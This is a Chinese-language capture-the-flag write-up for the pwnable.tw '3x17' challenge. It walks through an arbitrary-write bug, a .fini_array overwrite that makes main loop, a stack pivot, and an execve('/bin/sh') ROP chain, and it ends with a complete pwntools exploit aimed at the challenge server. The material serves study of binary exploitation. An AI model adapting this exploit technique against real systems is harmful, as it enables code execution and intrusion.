pwnable-tw-3x17

停课复习了,闲暇时可以刷刷pwn,writeup参考和媳妇一起学Pwn 之 3x17

0x01 寻找main函数

这道题是静态链接,很多函数没有直接给出名称,一开始比较明显的只能定位到start。
寻找main函数的话有两种方法:

1.1 查找字符串

我们可以直接按查找字符串,寻找运行程序时出现的字符串,然后看这个字符串在那个函数里被使用过就可以了。

现在找到了addr这个字符串

然后点击后面那个函数就可以进入main函数了

1.2 根据start函数的参数

这个涉及到glibc入口函数的知识,我前面写博客总结过,《程序员的自我修养11章》有比较详细的介绍,总结来说start函数的伪代码如下

1
2
3
4
5
6
7
void _start()
{
%ebp = 0;
int argc = pop from stack
char ** argv = top of stack
_libc_start_main( main, argc, argv, libc_csu_init, libc_csu_fini, edx, top of stack)
}

由此可以判断出此题start函数的基本结构,这样同样可以锁定main函数。

0x02 分析程序逻辑

先上main函数,这里把一眼能看出来的read和write都已经标好,但是有一个sub_3b9330好像看不出来是什么东西,而且点进去之后那个代码好复杂,顿时就不想看了。但可以看出来逻辑大概是:

  • 读入一个数据
  • 把这个数据转化成一个地址
  • 然后向这个地址里写内容

所以还是动态调试一下,看看这个看不出功能的函数是什么功能吧

随意输入一个16,然后发现返回值是0x10,看来这个函数是一个把字符串转化成整形的一个函数

程序逻辑就是 一个0x18字节的任意地址写

0x03 漏洞利用

然而这个程序没有泄露栈地址,所以我也不知道返回地址在什么位置,而且这个程序没有后门函数,只能利用rop或者shellcode,所以0x18个字节的写入完全不够。

其实如果是有经验的大佬可以直接想到利用libc_csu_fini,但是很多时候我们并不清楚这个知识点,难道这题就做不出来了么?(好吧,还真的是做不出来)

但还是要尽量找一下程序里有什么地方是不是可以控制rip,比如下面这部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
.text:0000000000402960 sub_402960      proc near               ; DATA XREF: start+F↑o
.text:0000000000402960 ; __unwind {
.text:0000000000402960 push rbp
.text:0000000000402961 lea rax, unk_4B4100
.text:0000000000402968 lea rbp, off_4B40F0
.text:000000000040296F push rbx
.text:0000000000402970 sub rax, rbp
.text:0000000000402973 sub rsp, 8
.text:0000000000402977 sar rax, 3
.text:000000000040297B jz short loc_402996
.text:000000000040297D lea rbx, [rax-1]
.text:0000000000402981 nop dword ptr [rax+00000000h]
.text:0000000000402988
.text:0000000000402988 loc_402988: ; CODE XREF: sub_402960+34↓j
.text:0000000000402988 call qword ptr [rbp+rbx*8+0]
.text:000000000040298C sub rbx, 1
.text:0000000000402990 cmp rbx, 0FFFFFFFFFFFFFFFFh
.text:0000000000402994 jnz short loc_402988
.text:0000000000402996
.text:0000000000402996 loc_402996: ; CODE XREF: sub_402960+1B↑j
.text:0000000000402996 add rsp, 8
.text:000000000040299A pop rbx
.text:000000000040299B pop rbp
.text:000000000040299C jmp sub_48E32C
.text:000000000040299C ; } // starts at 402960

3.1 libc_csu_fini

还记的__libc_start_main的几个参数里有两个东西么(init,fini),这俩是个啥呢?

1
2
.text:0000000000401A5F                 mov     r8, offset sub_402960
.text:0000000000401A66 mov rcx, offset loc_4028D0

这俩其实就是两个函数的地址,分别是:libc_csu_fini(sub_402960),libc_csu_init(loc_4028D0),至于为啥init的被IDA识别成loc,就不知道了。因为是静态编译的,这两个本身是libc的函数,但是可以在这个二进制中直接点进去看到函数的实现。

顾名思义,一个是init,开始时函数。一个是fini,结束时的函数。所以可见main函数的地位并没有我们刚接触c语言是那么至高无上,他既不是程序执行时的第一个函数,也不是最后一个函数。

另外在IDA的 view -> open subviews -> segments可以看到如下四个段:

  • .init
  • .init_array
  • .fini
  • .fini_array

并且可以看到init和fini都是函数,而init_arry和fini_arry都是数组,所在空间有可读写权限,他们的执行顺序为:

  • __libc_csu_init
  • main
  • __libc_csu_fini

更精细的执行顺序如下:

  • .init
  • .init_array[0]
  • .init_array[1]
  • .init_array[n]
  • main
  • .fini_array[n]
  • .fini_array[1]
  • .fini_array[0]
  • .fini

所以无论是看汇编还是源码,都能看出来,.fini_array数组中的函数是倒着调用的。题目中的off_4B40F0这个地址,就是.fini_array:

3.2 覆写fini_arry

我们如果把.fini_array[1]覆盖成main,把 .fini_array[0]覆盖成 __libc_csu_fini,这可以样就可以一直循环调用main函数啦!但好像看起来还是无法写多次啊,因为byte_4B9330这个全局变量一直在自增啊,永远比1大呀。观察一下这个变量:

1
(unsigned __int8)++byte_4B9330

这是8bit的整型,从byte_4B9330这个变量名也能看出来(byte),所以当我们按照如上的方法改写.fini_array段,这个变量会疯狂加一,自增一会就溢出了,然后又会回到1,然后就会停到read系统调用等待写入,就又可以写了。

3.2 栈迁移

1
2
3
.text:0000000000402960                 push    rbp
.text:0000000000402968 lea rbp, off_4B40F0 ; fini_array
.text:0000000000402988 call qword ptr [rbp+rbx*8+0] ; 调用fini_array的函数

可见在这个函数中rbp之前的值暂时被放到栈里了,然后将rbp当做通用寄存器去存放了一个固定的值0x4b40f0,然后就去调用了fini_array的函数,call之后的指令我们就可控了,我们可以劫持RIP到任何地方。考虑如下情况:

1
2
3
4
5
6
lea     rbp, off_4B40F0 ; rbp = 0x4b40f0            , rsp = 未知

; 劫持到这
mov rsp,rbp ; rbp = 0x4b40f0 , rsp = 0x4b40f0
pop rbp ; rbp = [rsp] = [0x4b40f0] , rsp = 0x4b40f8
ret ; rip = [rsp] = [0x4b40f8] , rsp = 0x4b4100

则rsp被劫持到0x4b4100,rip和rbp分别为.fini_array[1]和.fini_array[0]的内容

则我们可以在0x4b4100的地址向上布置rop链,只要rip指向的位置的代码不会破坏高地址栈结构,然后还有个ret指令,那么就可以实现ROP啦。所以我们要完成三件事:

  1. 布置好从0x4b4100开始的栈空间(利用任意地址写)
  2. 保证.fini_array[1]指向的代码不破坏栈结构,还有个ret,或者直接就一句ret也行
  3. 通过上文类似的方法劫持rsp到0x4b4100,即可触发ROP

3.3 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
context(arch="amd64",os='linux',log_level='debug')
myelf = ELF("./3x17")
#io = process(myelf.path)
#gdb.attach(io,"b * 0x471db5")
io = remote("chall.pwnable.tw",10105)

rop_syscall = 0x471db5
rop_pop_rax = 0x41e4af
rop_pop_rdx = 0x446e35
rop_pop_rsi = 0x406c30
rop_pop_rdi = 0x401696
bin_sh_addr = 0x4B419A

fini_array = 0x4B40F0
main_addr = 0x401B6D
libc_csu_fini = 0x402960
leave_ret = 0x401C4B

esp = 0x4B4100

def write(addr,data):
io.recv()
io.send(str(addr))
io.recv()
io.send(data)

write(fini_array,p64(libc_csu_fini)+p64(main_addr))

write(bin_sh_addr,"/bin/sh\x00")
write(esp,p64(rop_pop_rax))
write(esp+8,p64(0x3b))
write(esp+16,p64(rop_pop_rdi))
write(esp+24,p64(bin_sh_addr))
write(esp+32,p64(rop_pop_rdx))
write(esp+40,p64(0))
write(esp+48,p64(rop_pop_rsi))
write(esp+56,p64(0))
write(esp+64,p64(rop_syscall))
write(fini_array,p64(leave_ret))

io.interactive()

0x04 总结

这道题设计的很巧妙:

  • 最开始时只有一次任意地址写,通过修改.fini_array段,利用__libc_csu_fini函数性质构造循环调用main函数,并溢出检查字段绕,变成多次任意地址写
  • 继续利用任意地址写和__libc_csu_fini函数性质,迁移rsp,并劫持rip,完成ROP

这道题给我带来的新思路和收获

  • 碰到复杂函数不必急于看代码,可以先动态调试一下,猜测它的功能
  • 巩固了程序入口函数的知识
  • 寻找利用途径时可以多关注可以控制程序ip的地方
  • 可以想办法让一次任意地址读变为多次任意地址读
-------------本文结束感谢您的阅读-------------
+ +